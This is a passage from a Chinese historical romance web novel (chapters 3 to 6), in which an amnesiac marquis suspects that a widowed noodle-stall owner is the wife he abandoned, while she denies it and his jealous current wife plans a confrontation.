《失忆的前夫找上门》
3. 怀疑
3
陆昀峥为什么会鲁莽地去找阿致,这要从今日早上说起。
今日早上,陆昀峥醒来时大汗淋漓,他做了一场梦。
梦里他站在夏日傍晚的庭院中,庭院中有一棵高大的树,挡住了西晒的最后一缕阳光,显得整个院子晦暗低沉。陆昀峥一抬头,拱门后面一个女子经过。那女子瘦瘦的,一身淡青色的长裙,头上只一根木钗,将头发简单地挽起来,背后的长发用布条绑了垂在腰间,身侧背着简单的包裹,脸色苍白。
陆昀峥看不清她的脸的。
那女子打他身边经过,冷冷地扫过了他一眼,微微福身,没等他回应就走了。在沉默无声中,她的背影被暗淡的阴影爬满,一点点地缩小,消失在拐角处。
是阿致。
陆昀峥喉咙灼痛,心口酸涩地绞痛着,想要叫她却叫不出来,拔腿去追她。可是靠近了她,双脚就被粘在地上动弹不得,只能一直远远缀在她身后三丈远的地方。
她一直没有回头,一步一步地走出了长安城。走过闹市,走过年轻的男男女女,走过灯火,从黄昏走到黑夜,阿致在冷清的长街尽头停步,背对着他。
陆昀峥喉头哽咽,说:“阿致,我——”
夜色中,阿致打断他,平静地说:“陆公子请留步,你我恩怨已消,望您保重。”说这话的时候,她也没有回头。
陆昀峥只看到她漆黑的长发垂到腰身上。
大风鼓起了她的青色长袖,吹起她脸侧的黑色碎发在空中飘摇——这是阿致离开时候的模样。
因此,今早陆昀峥是从心痛中醒来的。
一年前他失忆了,他只记得一件事,那就是他要回去和阿致成亲。
阿致是谁?
他不记得了。
陆昀峥曾问过父母,问过身边小厮,没有一个人知道。直到,他无意中从一本书夹着的小札中抠出了些信息。阿致,是在边塞与他相识定情,两人在漠上拜了天地,后来她跟着他回到长安……再后来的事,陆昀峥完全不记得,也找不到两人任何相处过的痕迹,中间那几年,似乎凭空消失了。他也完全不记得她的面容。这也成了他被骗的可乘之机……
有幸遇得贵人,才知道他在五年前负了阿致,她独身一人离开了。
这是陆昀峥第一次在梦里见到他真正的妻子阿致。
他唯一可以肯定的是:她走的时候,一定很恨他。
他们为什么会走到如此地步?送她离开时,他也是爱她的,那么他为什么会放她离开?
对于陆昀峥来说,这些都是巨大的谜团。
陆昀峥抹一把脸,热汗涔涔。不知怎么的,他想到了那面馆小娘子的模样,清冷的侧脸,和梦里的阿致似乎……
还有,昨日早上,他们相见时,她看着他的眼神,明明就是在看爱人!
陆昀峥心中有了猜测。虽然这个猜测实在是过于巧合,但是……
他立刻起身,披上外衣。外头小厮听到动静,开门送来洗脸水。
陆昀峥掬了一把水拍脸,穿上鞋子就往外头走,和谷湘如碰了个满怀。
谷湘如嗔怪道:“夫君急着去哪里?”
他胡子都没有刮,她伸手要去摸他的下颌。
“有事。”陆昀峥偏开她的手,已经箭步出去三五步。
谷湘如又问:“你什么时候办完事?我听说这里有个唱戏的班子不错,咱们……”
不消说,陆昀峥已经冲出了院子。
陆昀峥要去的地方是县衙。当差的已经见过这位陆小侯爷,立刻引进去,叫人去通知屈县尉。
屈老幺立刻出门来迎,以为陆昀峥是来问寻故人的进展。心说这故人对于陆昀峥,还真是不一般的交情。这故人又是二十出头的年轻女子,只怕是桃·色·交情罢。
也不知是什么样绝色的女子,能让侯爷心心念念。
于是,屈老幺立刻献宝一样,把本县已经整理的独户女子总册呈上来:“已经加紧叫人去查了,这是现在找出来的,您看看?”
陆昀峥接过册子,大概翻看之后,放到了一边,端起茶杯送到嘴边:“还有多久查完所有户籍?”
看来是没有找到他要的“故人”。
“还得至少三天。”屈老幺嘿嘿笑了两声,弯腰观察着这侯爷,试探着道,“侯爷要找的女子,会不会已经嫁人生子?只找独户女子,怕是会漏掉。”
陆昀峥十分平静,将茶杯慢慢放在桌上,只说:“按照之前的要求继续找。”
其实他也不是没想过,他负了阿致,且阿致离开他五年了……从十八岁到二十三岁,最好的青春年华,或许早已嫁人生子。但不管怎么样,他都一定要找到她,至少要弄清楚所有的来龙去脉。
如果他真的错了,他要弥补她。
“那在下着人加紧日夜筛查,若有消息,一定立刻通知侯爷。”屈老幺心中有些疑惑,这陆昀峥实在太过冷静。难道这所谓的故人,并不是那种关系?
陆昀峥点点头,状似不经意地问:“昨日那面馆老板娘,姓名和年纪几何?”
屈老幺一听这话,一瞬之间脑子转了八百个弯,机灵地道:“详细信息,在下也不清楚,叫人把她的户籍册子送给您过目。”
侯爷这是对那面馆小娘子有意思,借着找人来遮掩?
陆昀峥在边塞打仗这么多年,什么样的人没见过。他见那屈县尉的眼珠子滚来滚去,就知道他在想什么。
户籍册子送过来,陆昀峥找了个借口把屈县尉支走了。
翻到那小娘子所在的一页,陆昀峥的双眉皱起,他的手颤颤巍巍抬起,放在她的名字上。
她叫王致,是个寡妇,死去的夫君姓陆,名叫陆扬,原本生活在渠县。
怎么会这么巧呢?她的名字里有个“致”,她的夫君也姓“陆”……
更巧的是,她有个女儿,虚五岁的年纪。五年前,王致独身转来密县生活。
陆昀峥捏紧了册子,咬着牙关,心中更加笃定。这个王致,在长安城边上开着小面馆,假装不认识他的女人,就是阿致。
可是她为什么要装作不认识他呢?是因为恨他吗?
还有,那个女儿……是他的吗?
陆昀峥盯着那册子看了一遍又一遍,立刻出了县衙,打马出去。
屈县尉一直在外等着,见陆昀峥急匆匆离开,立刻回去查看方才那本册子,册子上,“王致”两个字旁是深深的指甲印。
陆昀峥打马去寻那面馆。面馆所在的巷子太窄,他将那马缰直接扔给一个路人,又摸了一锭银子丢给他:“看着。”
路人直说谢谢大爷。
陆昀峥手中捏着马鞭,大步走到面馆前面,看着阿致的眼睛,笃定地说:“你认识我。”
阿致被他这话搞懵了。陆昀峥不是失忆了吗?他怎么会知道自己的身份?
看着他直白的眼神,阿致瞬时冷静下来。她对他再了解不过,现在他不过是在试探。如果他真的认出她沈雪致,必然不会浪费时间试探,而是直接冲进来拉着她,问她一大堆问题,又或者……一句话都不说。她最后留给他的“真面目”,可是势利小人。他若真知道她是沈雪致,应当是一句话都懒得对她多说,更何况,他有那样好的夫人了。
阿致笑着道:“这位爷是不是误会了什么?民妇说过,不认识您这样的贵亲戚,不敢高攀。”
面馆前面那两个吃面的客官,低头嗦一根面,实则竖起耳朵了听闲话。
陆昀峥看着她:“你不用骗我,我已去查了你的户籍。你名字里有个‘致’,你夫君姓陆……”
“名字里有个‘致’又怎样了?不能吗?还有,我那死鬼丈夫确实姓陆。您若是想要寻他要债,应该早点的,他都死了多少年。”阿致极快反应过来,讥讽道,“冤有头债有主。他欠钱,您去找他,民妇没有。”
一旁两个看客这才意识到,原来是要债的?
陆昀峥一错不错看着她的脸,她非常坦然,应对自如。除了一开始有些慌,后来便沉着冷静极了。要说骗他,也不可能突然想到丈夫欠债这么圆滑的借口来。
但她这反应过于流畅,陆昀峥总觉得有可疑。但当下他也没有办法,抿紧嘴唇看着她,点了一碗牛肉面,正对着面馆里头坐着,和里头的小娘子大眼对小眼。
阿致没好气地将一碗面“砰”放他面前,希望他别再来找麻烦。
好在陆昀峥后来没再和她争什么,吃完就走。
到第二天早上,陆昀峥来了,点一碗牛肉面,盯着阿致,吃碗面,又走了。中午、晚上也是如此。连着三天都如此。
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他一眼华贵的人,这一连几天,顿顿都是捧场寡妇家的面馆生意。此事早有人注意到,传得有鼻子有眼。也不知为何,他家夫人竟然毫无察觉。
至于阿致,她被别人异样的眼光追着打量,她倒不是觉得羞耻,主要是烦恼,还怕女儿被人说不好听的。好在女儿一切如常。
这一天晚上,陶盾来面馆吃晚饭,他过来之前,仔细打量这门口几个客官,好一会才撅嘴坐下。因为他来得有些晚了,几个客官走了便没什么人来。
夜色深了,阿致准备收摊。
陶盾一边吃,一边说:“致娘,你歇会儿,放着我等会来。”
“不妨事,也就是几条凳的事。”阿致当妈这些年,什么活儿没做过?不过区区几条凳而已。
陶盾赶忙几口吃完面,给她抬了一张桌进去。收摊关门之前,陶盾轻声说:“致娘。”
阿致看他欲言又止好几回,便知道肯定不是好话,不过她拍拍手里的灰尘,叉着腰,用汗巾擦脸:“你说。”
大概率他是要说陆昀峥来这里蹲着吃面的事。
“我听说,前几日陆小侯爷专门去衙门里寻了你的户籍……”陶盾看着她的脸色越来越冷。
“然后呢?”
陶盾纠结了一会,眼睛在这面馆里四处打量,唯独不敢看致娘。他原本没有勇气说下去,但想起来前几日,致娘那样失态地朝着巷口的陆小侯爷跑去,这两人之间或许真的有什么。话已至此,嗫嚅着说出来:“听说他常来你这里吃面……这是真的吗?”
“他来吃面是真的。”阿致看着他的眼睛,尽量保持耐心,“所以,你想说什么?”
沉默许久,陶盾都没有说话,但他又不走。
阿致低眸,看着他的双手,两只手在身前绞在一起,比心还纠结。这时候,阿致忽然记起来,当年她喜欢陆昀峥的一点是,他光明磊落,喜欢就喜欢了,虽然会试探她的心意,但是不会旁敲侧击、扭扭捏捏像个姑娘。现在阿致站在陶盾面前,感觉自己更像个高大的男人。
陶盾说:“我听说陆小侯爷有意纳你为妾……”
外面的谣言竟如此离谱了么?
不过,她和陆昀峥的接触确实多了些,容易给自己惹麻烦。
阿致叹一口气:“没有这回事。早说过很多次,除了我丈夫,我不会再嫁,更不会给人做妾。你已经知道答案了,早点回去休息吧。今天多谢你帮忙收摊。”
陶盾呆呆退后一步。
阿致则吹了最后一根蜡烛,利落关了面馆的大门,去后院叫女儿洗漱。
陶盾则站在面馆门口,失魂落魄。果然,致娘从头至尾都没有爱过他。他很确信,致娘喜欢那陆小侯爷,见的第一面就喜欢。致娘和其他女子一样,更爱威武的男人,对他这个瘦弱的书生只是怜悯而已。
当然,他也很感激了。因为那么多女子,也只有致娘一个对他怜悯。他只恨自己不是陆小侯爷那般气概的男子。
·
到了第四日早晨,外头下着大暴雨。
陆昀峥从床上起来,披了外衣,第一件事是去书房写了一张字条。他朝空中做了个手势,便有一黑衣人从空中轻轻落下,抱拳行礼:“侯爷。”
陆昀峥点头:“你亲自去渠县查这两人。”
罗三是侯爷最新提拔的暗卫头领,他接过纸条,上面写着两个名字:陆扬、王致。
渠县姓陆?
“这是侯爷本家?”罗三有些吃惊,陆侯爷本家就是在渠县。
陆昀峥道:“还不确定。事无巨细,你都要打听清楚。”
前三日他在面馆观察王致,她十分淡定,一点不心虚。就这样,连陆昀峥都开始怀疑自己的判断,或许,她真的不是阿致。一切的一切,只是巧合?
不管怎样,要弄清楚那面馆小娘子说的是真是假,只有一个办法:直接去渠县打听。
罗三掏出随身的火石,将纸条烧掉,领命而去。这一去一来,路上就要两天。
陆昀峥回到房里,穿好衣裳,打洗脸水来的小厮道:“夫人问您今日还出门吗?”
陆昀峥抬头看那小厮。
小厮缩着肩膀道:“夫人说有事找您。”
夫人天不亮醒来,醒来就摔了个鎏金的杯子,然后叫婢女来传话。
4. 怀疑
4
谷湘如天不亮就醒了。事实上,她昨晚上失眠了,气的。
来到密县落脚三四天,吃喝玩乐,谷湘如样样都享受过最好的。虽然夫君陆小侯爷没有陪着她,但密县的屈县尉办事很不错,派来的几个官夫人陪她一起喝茶游玩,每日都尽兴。
直到昨儿早上,有两位女眷在拐角处说什么私密话,看到来人是谷湘如,吓得脸色都白了,低下头避开去。当时,谷湘如便意识到不对劲,立刻派遣身边贴身的大丫鬟春铃去打听。晚饭后,春铃气呼呼地回来,把侯爷一天三顿去到寡妇摊前吃面的事抖搂出来。
春铃平日里就为自家夫人委屈:“侯爷这是一点不顾及夫人您的脸面。这叫外面的人怎么看您?”
谷湘如当时刚吃完晚饭,端着一碗茶,笑了下:“我还当是什么事呢。这些谣言都是往夸张了说……不可能的。”
谷湘如别的不敢保证,但她可以保证陆昀峥不会出去拈花惹草。
这些年,陆昀峥的心里只有沈雪致,断然不可能多看一眼别的女人,更不可能变心。如果陆昀峥能变心,那么她谷湘如五年前就能让他变心。
春铃急得直扯帕子:“哎呀,夫人你别不信,这些都是真的!听说那寡妇俏得很,一双眼睛能勾魂一般,经常有人夜半去敲她的门,甚至还有妇人去她面馆里骂街,那寡妇一声不反驳。夫人你说说看,若是被冤枉的,那寡妇能一声不吭?”
“说得有鼻子有眼的。”谷湘如还是不信,她淡淡喝一口茶。
“奴婢做事夫人你还不放心吗?奴婢到外头找了好些人问过,还到后院离去打听爷的行踪,爷这三日都去寡妇那里吃面。”春铃急得快跺脚,她是夫人陪嫁过来的丫鬟。
他们住在这偌大的游园中,谷湘如住在东边的院子,陆昀峥则住在后院。后院的人透出来的口风自然是不会有假。
谷湘如手中的茶杯放下来,手指不自觉绞着帕子,若有所思。
春铃立刻趁热打铁道:“夫人,今日奴婢还打听到那寡妇的面馆所在。若不是太晚了,定然要去看一看。夫人,您看,要不要去会会那寡妇,或是警告——”
谷湘如皱着眉头,伸手示意她别说话。
说实话,谷湘如不想为了这事和陆昀峥吵架,没有必要。
但是晚上躺在床上,她睡不着,越想越气,辗转反侧。同席游玩的女眷们那异样的眼神,竟然是在同情她谷湘如的不知情。
作为礼部尚书之女,从小就是众星捧月的存在,再加之她也是长安城里才貌双全的世家女子,这般被人同情取笑,她那颗心比在油锅里煎好不了多少。
偏偏夜里下了场暴雨,雨声咋咋呼呼的,让她越加心烦意乱。
是以天不亮的时候,她口干舌燥地从床上爬起来,端起水杯喝了一口后,忍无可忍撇地上,水杯摔得七零八落也不解气,又叫春铃去喊陆昀峥来。
春铃倒是顶着雨跑去后院了,不过陆昀峥身边的人也不是吃干饭的。
陆昀峥有条规矩——夜间不允许任何人打扰他看书、睡觉。当然,没人知道陆昀峥这条规矩的由来,是因为他和谷湘如的约法三章:晚间四个时辰,只要不是死了人或者要死人了,不允许去对方寝殿。
陆昀峥的小厮邬春荣深知侯爷的性子说一不二。这种时候他再胆小也绝对不让步,缩着肩膀拦在侯爷门口,让春铃回去等。
春铃侧脸啐他一口,一边冒雨一边离开:“就跟着爷一年,竟装得这么忠心了。不记得早先谁叫你得了这么个好差事?”
当初,谷湘如安排邬春荣贴身照顾陆昀峥的,唯一要求就是将陆昀峥的一切告知与她。可是时间一长了,胆小如鼠的邬春荣竟然坚决维护起陆昀峥来。
邬春荣身板瘦瘦的,像是弯曲的竹竿。他也很为难,但是他分得清楚谁才能给他顿顿饱。
陆昀峥是侯爷,邬春荣不敢叫醒他。他一直瑟瑟守在外间,好不容易等到侯爷醒了,只见侯爷又急步去书房与暗卫谈事,邬春荣只好去打洗脸水来,缩着身子道:“夫人说有事找您。”
夫人可不是好惹的。
陆昀峥只简单地“嗯”了一声,洗干净脸后,叫小厮拿来刮胡子的刮刀,他细细将脸上刮干净。
邬春荣看着侯爷脸色:“侯爷,您今日还出门吗?”
陆昀峥点点头,将刮刀递给他。
邬春荣趁着陆昀峥整理腰带的间隙,跑到外间,拿出早已准备多时的雨伞,递给侯爷。
陆昀峥接过伞,夸他:“做得不错。”
说完,他撑着伞就往外走,找谷湘如。
谷湘如这会儿气消了大半,因为失眠,浑身无力地蜷在躺椅上,只着了简单的中衣,胸口露出大片。
陆昀峥远远地看到,偏开头,坐在外间的一张椅子上,对春铃喝道:“秋凉,不会给你主子加个薄被?”
春玲吓得立刻和几个小丫鬟去箱子里找薄被。
“不用你假意关心我。”谷湘如拢了拢领口,她嘴上有怨气,但心中的怨气消了一大半。陆昀峥就是这样,无论他再不喜欢你,他也能关心你会不会着凉。
“你找我有什么事?”陆昀峥问。
谷湘如接过春铃递过来的薄被披在身上,笑意盈盈走到外间。
陆昀峥面无表情坐着,他手中的雨伞杵在地上,伞尖的水渍洇湿地上一片。看到此情此景,谷湘如怒火中烧,讥讽道,“你还真是风雨无阻,又要去吃面?”
日日吃面腻不死你。
“我们说过,不过问彼此的事。”陆昀峥十分平静。
“是,不过问彼此的事,但前提是不影响到彼此。”谷湘如看着他的眼睛,“外头都在传,你这几日去吃寡妇的面,便和她有了首尾。你叫别人怎么想我,我的脸又往哪里放?”
陆昀峥冷笑道:“无中生有。”
“没有当然好,我是信你的,但是别人就不一定了。”谷湘如娇俏地笑了笑,“再者,最后这些日子,你给我留些体面,我也会给你留些。你若想吃面,我叫人做就是了,何必去外面吃,惹人闲话?”
谷湘如动动下巴,示意春铃。
春铃过去,小心翼翼将雨伞从陆昀峥手中抽走。
陆昀峥陡然挪开手和雨伞,伞尖啪嗒在地上发出巨大声音,吓得春铃一跳。
他起身道:“我走了,你好好休息。”
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谷湘如气得不行,她伸手去拉他:“你若是再去那寡妇的面馆,信不信我砸了它?”
“动不动就砸了别人的生计,找别人麻烦。”被威胁的陆昀峥换上冷脸,“你们家就是这么教你的?”
一时间,几个丫鬟大气不敢出,春铃让大家快速出去,关上门来。
房间里一时间只剩下夫妻二人。
谷湘如气得发抖:“她要我颜面无存,我为何不可以去找她麻烦?”
“让你颜面无存的,是我。你只管怪我。”
谷湘如眼圈红了她,她十分委屈:“昀峥,我们年少相识,我救了你的,我们曾经那么相爱,才会成婚。你不维护我,反而维护她?”
她念经一般说出这长串。
“湘如,这不是真的,你也用不着再骗自己。你比任何人都清楚我们从长安出来的原因,还有目的。”陆昀峥看着她很久,才缓缓道:“我只想快点和离,找到我的妻子。”
是啊,陆昀峥只爱沈雪致,他不可能爱上别人。
谷湘如大梦方醒一般,抬高下巴道:“做一天和尚撞一天钟,陆昀峥你记好了,你现在还是我谷湘如的丈夫,我才是你唯一的妻。”
“不要去找任何人的麻烦,按照计划平静结束一切。”陆昀峥字字清楚地警告。
谷湘如恨恨道:“明天必须离开密县。”
·
天上下着大雨,阿致面馆前没有人。她支着的雨棚很麻烦,时不时就要调整下,将雨棚上一层油纸兜住的雨水放下来。
就在她使劲抬着竹竿放水的时候,身侧突然站了个人,将她手中的竹竿接过去。
阿致第一反应是惊吓,还来不及退后,她闻到了熟悉的味道,愣在原地看着眼前的人。
一身宝蓝色锦服的男子利落地做好了一切,将竹竿插回原地,随即拍了拍袖子,袖子上滚落几线水珠,他毫不在意。
阿致许久才说:“多谢。”
她转身进去给他做了一碗牛肉面。
他没有开口,就坐在半湿的凳子上,同前几日一样,看着热气袅袅里的她。这场景看多了,陆昀峥的心格外宁静。她一定是阿致,他才会这么被她的一眸一动所吸引。
阿致将面端到他面前:“你吃完了叫我,我有话要和你说。”
陆昀峥把面碗推开,他又不是真的为了口腹之欲而来:“你说。”
她终于要说真话了吗?陆昀峥非常期待她要说的话。
“你先吃。”阿致转身回面馆里。
陆昀峥低头,他发现今日的牛肉格外多,还给他多加了几片素菜叶子。他盯着那小娘子,等会她要说的,估计不是什么好话。
阿致回到面馆里头,低头擦灶头、刷碗,这时女儿希君从后院往前来,她手里拿着一本书:“阿妈,这句话什么意思?”
阿致吓得不行,赶紧看了看面馆外的陆昀峥。
陆昀峥听到稚女的声音,转过头来。面馆的小娘子有个女儿,他是知道的,也有些好奇。不过他转过头的时候,面馆的小娘子已经伸手将女儿的头脸捂住,仿佛生怕被他看到。
陆昀峥心下更加好奇。为什么不能叫他看到?
5. 还记得
5
眼见陆昀峥要站起来,阿致赶紧侧身,遮住陆昀峥的视线,随即小声叫女儿希君回去后院。
希君伸脖子想要往外看,被阿致摁住。
阿致瞪着她。
希君努了努嘴,这才转身回后院。
阿致松了一口气,回头正对上陆昀峥的视线。她装作无事发生的样子,继续刷锅洗碗。
外头雨淅沥沥地下,行人稀少。
终于等到陆昀峥吃完饭,她到他桌子旁站着:“陆侯爷,您——”
“哎,是侯爷呀。”远远的,雨幕中撑伞跑过来一人,正是屈县尉,他兴高采烈地看着陆昀峥,对他行礼,“方才隔着雾气,看着像是您,还真是啊。正好有个事要与侯爷您商量。”
他一边说,那绿豆大的眼睛一滚,眼角余光在阿致身上飘过去。这陆小侯爷还真是如传闻中一般,甚爱来这面馆,就是不知真爱这牛肉面,还是这俏寡妇。
阿致闭嘴,低头将陆昀峥面前的碗筷收走。现在,她要说的话,没法说了。
陆昀峥问:“什么事?”
屈老幺先不说,他叫道:“小娘子,来两碗牛肉面。”
陆昀峥本来吃饱了,方才小娘子给他的分量挺足;不过,他确实不太想走,因此没有拒绝。
等面的功夫,屈老幺道:“县里马上要办重阳节,想要请侯爷您露脸赏光。如何?”
“多谢县尉邀请,但本侯在此不会多留,恐怕赶不上。”
“哦?侯爷马上就要离开?”屈老幺有些意外,他眼睛飘向里头那小娘子。他还以为这小娘子能将侯爷留得久一些呢。
若是能请到陆昀峥到场,他自己也能借此长面子,多结交些人脉。可惜……
陆昀峥道:“离开日程还未定下,但应当是快了。”
今早上他才派罗三去渠县打听这小娘子的来历,是留是走,还要待三日后打探的结果来决定。
“那……在下斗胆,若是重阳节时侯爷还在,便同在下一道登高赏花,如何?”屈老幺坦荡荡地笑着。他深知,这时候就是要脸皮厚。
“那是当然。”陆昀峥嘴上答应。不过,重阳节少说也还有八日,那时候他应当已经走了,不用给这屈县尉做跳板。
屈县尉年方二十八,没什么过人的才华,却能一路顺风顺水爬到此位,说明此人城府极深。陆昀峥刚来这密县,就让罗三将其查了个底朝天。果然此人并非善茬,家中有人在长安城中做着小官,他自己又极擅长钻营、心狠手辣,伤天害理、过河拆桥的事没少干。
因此,陆昀峥并不愿意同此人深交,他的原则是不得罪。
阿致将两碗面端上来,递给屈县尉,又转身去拔那手臂粗的竹竿,好将兜住的雨水放下来。
陆昀峥手撑着膝盖,准备起身帮小娘子。那小娘子似乎早有预料,回头狠狠瞪他一眼,陆昀峥立刻回正,换了个坐姿。
一旁的屈老幺挑了挑眉,看着陆昀峥放在桌上的拳头,笑着对阿致道:“小娘子如此辛苦,不打算再找个男人,有个依傍?”
阿致抖动竹竿的手顿了下,她恨不得将油纸上的雨水兜头泼他身上,但她终究没有这么做,只因为她有些话想要借此机会说给陆昀峥听:“不打算,没意思。”
这些年,阿致被很多人问过这问题。
她长得不错,品行端正,会识字算账,人也勤劳,再则只带了个女儿,是认真过日子的。许多鳏夫托媒人来提亲,阿致总是会这么回答,没意思。让对方打退堂鼓。
这干瘦如老鼠样的县尉屈老幺,也问过。
“那看来,你以前的丈夫对你不好。”屈老幺压根不在乎阿致,他观察着陆昀峥。
此刻,陆昀峥没有看阿致,他低头拿起筷子吃面。
以往,别人说阿致的丈夫对她不好,阿致是不会反驳的。
但是今天,阿致格外火大:“我丈夫对我很好,这世上没人比得上他。”
屈老幺火上浇油:“小娘子,难说遇到下一个,就能对你更好。”
要你多管闲事?看你那王八绿豆眼,就知道说这话没安好心。
“这……”阿致都气笑了,手一抖,雨棚上的冷水哗地砸向屈老幺的后脖颈。
陆昀峥眼疾手快,起身伸手一拉,将屈老幺拉到一旁,躲开大部分冷水,只打湿他一侧袖子。
屈老幺冷得一跳。
阿致则受了惊吓一般,连忙将手中的竹竿随手往地上一插,也不管稳不稳的,跑过去道歉:“真是不好意思,屈县尉你看我这……我不是故意的,您相信我……我就是没拿稳,给您拿布来擦擦。”
阿致转身跑回面馆里,脚步急切。
屈老幺恼羞成怒,却也不能说什么,尤其是陆昀峥还在一旁。他只能拍着身上的水珠,多谢陆昀峥的救护。
阿致拿着布跑回来了:“屈县尉,我给您擦擦?”
“这是洗碗的布?”屈老幺脖子后退,他惊呆了。
阿致手上拿着两块白纱布,执意要给他擦袖子:“没事,这个是干净的,您放心。”
屈老幺伸手拦住她,咬牙切齿地笑着说:“无妨,只是小事,我回家再换一身衣裳。”
说着,他面也没吃,扔下几文铜钱就走了。
“这怎么好意思呢?县尉您收回去吧……”阿致对着屈老幺打伞远去的背影,嘴角挑起一丝冷笑,收起桌上的铜钱,对上了陆昀峥的眼睛。
他打量着她。
阿致不在乎他怎么想,她将手中的纱布摔在桌上,坐在其中一条凳上,示意他也坐下:“民妇有事求侯爷。”
“什么事?”陆昀峥坐下来。
“请侯爷不要再来民妇这里吃面。”阿致直白地看着他的眼睛,双手抱在胸前。
“你先告诉我实话。”陆昀峥说,“你认识我,是不是?”
阿致深呼吸一口气,仿佛特别无奈:“什么叫做实话呢?侯爷你心中已经有了一个预设的答案,并认定只有这个答案才是实话。可是,您心中所想一定是真实的吗?无论您在这里等多少天,我也只能诚实地告诉您,我真的不认识您。”
陆昀峥看着她,抿嘴唇不说话。
他讲不通道理,但又固执的时候,就是这样子。但这也说明她的说辞奏效了,他开始跟着她的逻辑来思考。
阿致收起胳膊,放在身侧,转而温柔地说:“侯爷,平心而论,我一个寡妇带着孩子生活,本身就很艰难,每日辛苦您也是见到的,这街坊四邻还有多少人盯着民妇我呢。您这三日来我这里吃面,知情的说您是执意于故人,那不知情的说您是风流我是风·骚……”
阿致说到这里,她哽咽起来,低头用手指擦了擦本就没有眼泪。
陆昀峥一时有些手足无措,他下意识抬手,想要去给她拭泪,碰到她额边的碎发,意识到不对,缩回手,立刻道歉:“是我考虑不周,做事过于鲁莽,没有考虑到小娘子你的立场。只是我要寻的那故人,对我真的十分重要。她是我——”
阿致抬头,打断他:“我知道您有您的理由,也知道您不是撩拨我。但是……民妇自己被人笑骂,这都是可以扛过去的,可是民妇的女儿,小小年纪被人用难听的话骂自己娘亲,以后她当如何自处呢?”
这话一说完,陆昀峥眼中的光彻底暗淡下去。他开始反省自己,执着于一个答案,竟然给人带去这么多难堪。可是……
陆昀峥艰难开口:“你……真的不是阿致?”
阿致看他这备受打击的模样,手指抓紧了衣裙。其实方才女儿被人骂,那都是她编的。只不过,陆昀峥还和从前一样,很容易被她骗,无论她怎样胡说八道,他就是天然地相信她。
阿致不忍心看他更伤心,但是她只能继续撒谎:“民妇不知道您说的是什么阿致……民妇只知道,若您再来这里,让您夫人知道
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,定会来找民妇的麻烦。到时候事情闹大了,民妇有理也说不清,谁能来帮民妇善后呢?”
阿致复又低头去。她终究是往他心上又插了一刀,所以她不敢看他的神情。
陆昀峥坐了许久,沉默着。
两人之间隔着重重冰凉的雨水,在头顶砰砰砰地跳着。雨大了,雨雾弥漫得到处都是。
陆昀峥站起身来。
阿致这才抬头,用眼角余光看他。
他失魂落魄的。
她心口绞痛,眼圈微红,手指颤抖着。她多想要拍拍他的肩膀,叫他不要这么难过,因为他们的那些事情已经过去了,他要朝前看。他已经成婚了,家中有妻子等着啊。
一想到这里,阿致心中更痛,她慢慢缩回了手。他有多难过,那都不是她该管的事。因此,她只是坐着,侧头看着他缓缓走入雨中,连雨伞都没有拿。
阿致拿起一旁的雨伞,起身给他送过去,却见他又回来了。
阿致愕然看着他。
陆昀峥面无表情,冷雨挂在他发梢,沾湿了他宝蓝色的锦袍。他什么也没有说,轻轻拔起歪着的竹竿,给她将头顶雨棚上的雨水都抖落下来,又将竹竿稳稳当当插回去。
阿致站在一旁,手脚冰冷,她死死咬住嘴唇。
他走的时候,阿致打开伞,将伞柄塞在他的手里。两人的手都是冰凉的。
陆昀峥撑着伞离开了。
阿致站在原地,看着他慢慢走远了。
渐渐地,就看不到他的身影。她终于忍不住,捂住脸爆哭起来,眼泪怎么擦也擦不干净。
她还记得,在边塞相识的那一年就是这样。她去集市上采买食材,她一个人担着两大筐菜。重是重了点,但她已经习惯。陆昀峥看她筐里白菜掉地上,就一路跟在她身后捡,最后索性自己给她挑过几里地。傻乎乎的,人还怪好的。
他怎么还是这样啊。
要是坏一点、冷一点就好了,这样她就能一直恨着他,死都不回头,再找个男人嫁了。
·
中午的时候,陆昀峥在躺椅上一个时辰了。
邬春荣蹑手蹑脚过来,问他:“爷,午饭还出去吃?”
陆昀峥望着屋顶,不置可否。他早上吃了两碗面,到现在不消化。更不消化的是那小娘子的话。她真的不是阿致么?那么多的巧合?
如果她不是阿致怎么办……
这时候邬春荣舔舔嘴巴,十分小心:“方才夫人派人来,说是要明天就走,问收拾行李如何了。爷,要开始收拾行李吗?”
陆昀峥深呼吸一口气,还是没看他:“不用。”
他至少要等到三天后,等渠县打听的结果。
“那夫人再派人来,小的就直接说不收拾。”
陆昀峥闭眼,他现在只希望清静。
过了不多会,谷湘如便得知,陆昀峥不打算走。她气得不行,来后院找他大吵一架。
陆昀峥完全不理她。
谷湘如看他那一副神魂俱散的丧气模样,更气了:“那寡妇就这般厉害,将你的魂都勾去了?”
一见夫人这烈火烹油的架势,邬春荣立刻缩着脖子退出去,给两人关上门。
陆昀峥起身去书房:“不是你想的那样。”
谷湘如追在他身后道:“既不是我想的那样,你又何必继续留在这里?你就听我的,明日就走。”
“四日之后再走。”陆昀峥很坚决。
简直不可理喻,谷湘如大怒:“陆昀峥你就从来没有把我这个妻子放在眼里!你就不担心我反悔吗?”
陆昀峥平静地回头,看着她。
谷湘如知道,她终于拿捏住了命门:“和离的事,我反悔。除非明日就走。”
陆昀峥坐在书桌前,拔拉出一支毛笔,冷冷说:“你似乎忘记了,我们之所以能成婚,是因为你骗我。现在还没和离,是照顾你的体面。”
6. 计划
6
这是第一次,陆昀峥把他们之间的关系直白地说出来,毫不留情。
雨天的光线不好,他的脸上涂满阴影,看起来更加的不近人情。
谷湘如的脸面都要被戳破了,她愣站在原地许久,一句话说不出来,脸气得一阵红一阵白。他为了一个小小寡妇,竟然说出这等话来。虽然是事实,但也不该说。
谷湘如哈哈大笑起来:“是,当初成婚都是我骗你,但是……陆昀峥,你别忘了,现在我才是你的妻。我父亲是礼部尚书,你说话做事前最好思量清楚。”
“你既然知道父亲是礼部尚书,那你说话之前就该思量清楚。”陆昀峥最讨厌的就是被威胁,他眼神凌厉地看着她。
谷湘如和他对视了一会,甩袖子而去。他让她不舒服,那她也有的是回击的手段。
谷湘如踢开房门,吓得门外的邬春荣一哆嗦。
春铃立刻跟着自家主子离开,大气不敢出。夫人每次和侯爷吵架,回去都要摔东西。
没想到这次她家夫人很冷静,道:“那寡妇的面馆在何处?”
“曲逸巷进去的第三家便是。”春铃早将这地址打听清楚了,“夫人要去瞧瞧?”
谷湘如冷笑一声:“等雨停吧。听说她的牛肉面好吃,能勾得侯爷几日去那里,我倒要去会会她,是怎样的手段。”
竟然能让专情的陆昀峥魂不守舍,怕不是这汤里放了什么迷魂药。
外头的雨突然又大了,春铃有些为难:“咱们明日去?”
谷湘如点点头,她气得浑身疼,叫春铃给她捏捏。
·
